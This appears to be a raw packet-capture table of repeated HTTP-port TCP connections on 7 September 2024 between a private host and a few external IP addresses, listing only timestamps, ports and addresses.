Sep 7, 2024 15:36:34.283865929 CEST	55714	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:34.288758039 CEST	80	55714	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:34.290138006 CEST	55714	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:34.290200949 CEST	55714	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:34.298893929 CEST	80	55714	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:34.798758984 CEST	80	55714	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:34.798791885 CEST	80	55714	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:34.798856974 CEST	55714	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:34.798971891 CEST	55714	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:34.799256086 CEST	55712	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:34.799635887 CEST	55715	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:34.804240942 CEST	80	55712	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:34.804450035 CEST	55712	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:34.804466009 CEST	80	55715	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:34.804533958 CEST	55715	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:34.804858923 CEST	55715	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:34.809812069 CEST	80	55715	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:35.299046993 CEST	80	55715	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:35.299130917 CEST	55715	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:37.539675951 CEST	55716	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:37.544949055 CEST	80	55716	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:37.545016050 CEST	55716	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:37.554163933 CEST	55716	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:37.558624029 CEST	55717	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:37.560379028 CEST	80	55716	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:37.560429096 CEST	55716	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:37.564771891 CEST	80	55717	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:37.564855099 CEST	55717	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:37.564939022 CEST	55717	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:37.570710897 CEST	80	55717	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:38.049724102 CEST	80	55717	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:38.050136089 CEST	80	55717	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:38.050210953 CEST	55717	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:38.051748991 CEST	55717	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:38.075563908 CEST	55715	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:38.076200008 CEST	55718	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:38.081842899 CEST	80	55715	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:38.081855059 CEST	80	55718	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:38.081888914 CEST	55715	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:38.081932068 CEST	55718	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:38.082087994 CEST	55718	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:38.089381933 CEST	80	55718	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:38.585460901 CEST	80	55718	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:38.585530043 CEST	55718	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:38.837408066 CEST	55719	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:38.842511892 CEST	80	55719	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:38.844362974 CEST	55719	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:38.844470978 CEST	55719	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:38.849704027 CEST	80	55719	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:38.850294113 CEST	80	55719	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:38.850342035 CEST	55719	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:38.873570919 CEST	55720	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:38.878449917 CEST	80	55720	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:38.878506899 CEST	55720	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:38.878741026 CEST	55720	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:38.884565115 CEST	80	55720	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:39.362791061 CEST	80	55720	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:39.362924099 CEST	55720	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:39.363280058 CEST	80	55720	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:39.363325119 CEST	55720	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:39.391397953 CEST	55718	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:39.391876936 CEST	55721	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:39.396950006 CEST	80	55718	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:39.397046089 CEST	80	55721	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:39.397104025 CEST	55718	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:39.397139072 CEST	55721	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:39.407697916 CEST	55721	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:39.412651062 CEST	80	55721	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:39.885557890 CEST	80	55721	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:39.885675907 CEST	55721	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:39.994910002 CEST	55722	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:39.999766111 CEST	80	55722	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:40.002135038 CEST	55722	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:40.002250910 CEST	55722	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:40.006401062 CEST	55723	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:40.007313013 CEST	80	55722	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:40.007366896 CEST	55722	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:40.011142969 CEST	80	55723	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:40.011210918 CEST	55723	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:40.011271000 CEST	55723	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:40.016372919 CEST	80	55723	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:40.493884087 CEST	80	55723	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:40.493908882 CEST	80	55723	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:40.494023085 CEST	55723	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:40.494090080 CEST	55723	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:40.494318962 CEST	55721	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:40.494595051 CEST	55724	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:40.499353886 CEST	80	55721	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:40.499366999 CEST	80	55724	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:40.499413013 CEST	55721	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:40.499433994 CEST	55724	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:40.499644041 CEST	55724	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:40.504369020 CEST	80	55724	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:40.986385107 CEST	80	55724	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:40.986443996 CEST	55724	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:41.601720095 CEST	55725	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:41.606858015 CEST	80	55725	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:41.606937885 CEST	55725	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:41.607038021 CEST	55725	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:41.611097097 CEST	55726	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:41.612143993 CEST	80	55725	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:41.612221956 CEST	55725	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:41.615885019 CEST	80	55726	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:41.615953922 CEST	55726	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:41.616082907 CEST	55726	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:41.621299028 CEST	80	55726	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:42.111260891 CEST	80	55726	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:42.111284018 CEST	80	55726	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:42.111356020 CEST	55726	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:42.111453056 CEST	55726	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:42.111690044 CEST	55724	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:42.111989975 CEST	55727	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:42.116806984 CEST	80	55727	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:42.116940975 CEST	80	55724	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:42.117036104 CEST	55724	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:42.117036104 CEST	55727	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:42.119738102 CEST	55727	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:42.124646902 CEST	80	55727	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:42.629211903 CEST	80	55727	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:42.632344961 CEST	55727	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:43.742464066 CEST	55728	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:43.748291016 CEST	80	55728	64.70.19.203	192.168.2.3
Sep 7, 2024 15:36:43.748397112 CEST	55728	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:43.748513937 CEST	55728	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:43.752595901 CEST	55729	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:43.753385067 CEST	80	55728	64.70.19.203	192.168.2.3
Sep 7, 2024 15:36:43.753487110 CEST	55728	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:43.757554054 CEST	80	55729	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:43.757630110 CEST	55729	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:43.757740021 CEST	55729	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:43.764051914 CEST	80	55729	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:44.253092051 CEST	80	55729	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:44.253127098 CEST	80	55729	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:44.253184080 CEST	55729	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:44.253287077 CEST	55729	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:44.278996944 CEST	55727	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:44.279642105 CEST	55730	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:44.284749985 CEST	80	55727	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:44.284827948 CEST	55727	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:44.284972906 CEST	80	55730	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:44.285080910 CEST	55730	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:44.285212040 CEST	55730	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:44.290323019 CEST	80	55730	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:44.789474010 CEST	80	55730	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:44.790159941 CEST	55730	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:44.899559975 CEST	55731	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:44.904421091 CEST	80	55731	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:44.904505014 CEST	55731	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:44.905214071 CEST	55731	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:44.910041094 CEST	80	55731	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:44.912656069 CEST	55731	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:44.913041115 CEST	55732	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:44.917792082 CEST	80	55732	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:44.917864084 CEST	55732	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:44.917954922 CEST	55732	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:44.922718048 CEST	80	55732	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:45.401427031 CEST	80	55732	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:45.401464939 CEST	80	55732	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:45.401511908 CEST	55732	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:45.401587009 CEST	55732	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:45.401870966 CEST	55730	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:45.402234077 CEST	55733	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:45.406984091 CEST	80	55730	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:45.407047033 CEST	80	55733	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:45.407064915 CEST	55730	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:45.407155037 CEST	55733	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:45.407272100 CEST	55733	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:45.411964893 CEST	80	55733	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:45.909612894 CEST	80	55733	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:45.909673929 CEST	55733	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:46.023842096 CEST	55734	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:46.028744936 CEST	80	55734	64.70.19.203	192.168.2.3
Sep 7, 2024 15:36:46.028850079 CEST	55734	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:46.038619041 CEST	55734	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:46.043790102 CEST	80	55734	64.70.19.203	192.168.2.3
Sep 7, 2024 15:36:46.043937922 CEST	55734	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:46.198097944 CEST	55735	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:46.202922106 CEST	80	55735	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:46.202990055 CEST	55735	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:46.203138113 CEST	55735	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:46.207880974 CEST	80	55735	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:46.686980009 CEST	80	55735	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:46.687040091 CEST	80	55735	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:46.687124968 CEST	55735	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:46.687180996 CEST	55735	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:46.688803911 CEST	55733	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:46.689115047 CEST	55736	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:46.693970919 CEST	80	55736	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:46.694036007 CEST	55736	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:46.694272995 CEST	80	55733	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:46.694411993 CEST	55733	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:46.695144892 CEST	55736	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:46.699928999 CEST	80	55736	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:47.197587967 CEST	80	55736	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:47.198196888 CEST	55736	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:47.570430040 CEST	55737	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:47.575320959 CEST	80	55737	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:47.578147888 CEST	55737	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:47.578214884 CEST	55737	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:47.582182884 CEST	55738	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:47.583322048 CEST	80	55737	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:47.583405018 CEST	55737	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:47.587023973 CEST	80	55738	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:47.587188959 CEST	55738	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:47.587248087 CEST	55738	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:47.592006922 CEST	80	55738	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:48.080364943 CEST	80	55738	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:48.080382109 CEST	80	55738	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:48.080524921 CEST	55738	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:48.080568075 CEST	55738	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:48.080962896 CEST	55736	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:48.081290960 CEST	55739	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:48.086219072 CEST	80	55736	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:48.086225033 CEST	80	55739	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:48.086324930 CEST	55736	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:48.086357117 CEST	55739	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:48.086539030 CEST	55739	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:48.091550112 CEST	80	55739	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:48.573641062 CEST	80	55739	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:48.573699951 CEST	55739	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:49.523502111 CEST	55740	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:49.528458118 CEST	80	55740	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:49.530136108 CEST	55740	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:49.538570881 CEST	55740	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:49.542088032 CEST	55741	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:49.543596029 CEST	80	55740	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:49.546156883 CEST	55740	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:49.547071934 CEST	80	55741	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:49.549746037 CEST	55741	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:49.549845934 CEST	55741	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:49.554769993 CEST	80	55741	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:50.062899113 CEST	80	55741	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:50.062927961 CEST	80	55741	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:50.062983036 CEST	55741	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:50.063206911 CEST	55741	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:50.083865881 CEST	55739	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:50.084352970 CEST	55742	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:50.088958025 CEST	80	55739	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:50.089021921 CEST	55739	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:50.089090109 CEST	80	55742	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:50.089157104 CEST	55742	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:50.093178034 CEST	55742	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:50.101422071 CEST	80	55742	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:50.591442108 CEST	80	55742	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:50.591501951 CEST	55742	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:51.164509058 CEST	55743	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:51.169421911 CEST	80	55743	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:51.169486046 CEST	55743	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:51.179173946 CEST	55743	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:51.183818102 CEST	55744	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:51.184057951 CEST	80	55743	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:51.184108019 CEST	55743	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:51.188652039 CEST	80	55744	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:51.188724995 CEST	55744	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:51.194807053 CEST	55744	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:51.199841976 CEST	80	55744	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:51.672161102 CEST	80	55744	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:51.672297001 CEST	55744	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:51.672419071 CEST	80	55744	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:51.672461033 CEST	55744	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:51.672565937 CEST	55742	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:51.672864914 CEST	55745	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:51.677606106 CEST	80	55742	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:51.677627087 CEST	80	55745	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:51.677649021 CEST	55742	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:51.677706003 CEST	55745	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:51.677855015 CEST	55745	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:51.683644056 CEST	80	55745	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:52.190223932 CEST	80	55745	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:52.192029953 CEST	55745	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:53.898545980 CEST	55473	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:53.903568983 CEST	80	55473	64.70.19.203	192.168.2.3
Sep 7, 2024 15:36:53.903666973 CEST	55473	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:53.903776884 CEST	55473	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:53.907466888 CEST	55474	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:53.908792973 CEST	80	55473	64.70.19.203	192.168.2.3
Sep 7, 2024 15:36:53.908859968 CEST	55473	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:53.912389994 CEST	80	55474	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:53.912506104 CEST	55474	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:53.913549900 CEST	55474	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:53.918435097 CEST	80	55474	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:54.423652887 CEST	80	55474	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:54.423783064 CEST	80	55474	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:54.423784018 CEST	55474	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:54.423968077 CEST	55474	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:54.439721107 CEST	55745	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:54.440140963 CEST	55475	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:54.444870949 CEST	80	55745	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:54.444895983 CEST	80	55475	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:54.444983959 CEST	55745	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:54.445024967 CEST	55475	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:54.446561098 CEST	55475	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:54.451392889 CEST	80	55475	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:54.933310986 CEST	80	55475	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:54.933971882 CEST	55475	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:59.351922989 CEST	56436	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:59.356744051 CEST	80	56436	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:59.356837988 CEST	56436	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:59.366672993 CEST	56436	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:59.371853113 CEST	80	56436	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:59.371910095 CEST	56436	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:59.391350031 CEST	56437	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:59.396310091 CEST	80	56437	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:59.396442890 CEST	56437	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:59.397908926 CEST	56437	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:59.402651072 CEST	80	56437	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:59.881493092 CEST	80	56437	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:59.881638050 CEST	56437	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:59.881654978 CEST	80	56437	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:59.881715059 CEST	56437	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:59.883610964 CEST	55475	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:59.884036064 CEST	56438	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:59.890522957 CEST	80	55475	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:59.890579939 CEST	55475	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:59.891676903 CEST	80	56438	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:59.891765118 CEST	56438	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:59.891916990 CEST	56438	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:59.897387981 CEST	80	56438	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:00.392534018 CEST	80	56438	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:00.392606974 CEST	56438	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:01.602263927 CEST	56439	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:01.607184887 CEST	80	56439	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:01.607264042 CEST	56439	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:01.607345104 CEST	56439	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:01.612890959 CEST	80	56439	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:01.612951994 CEST	56439	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:01.622944117 CEST	56440	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:01.627818108 CEST	80	56440	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:01.627903938 CEST	56440	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:01.632311106 CEST	56440	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:01.637219906 CEST	80	56440	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:02.114326954 CEST	80	56440	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:02.114387035 CEST	80	56440	172.234.222.138	192.168.2.3
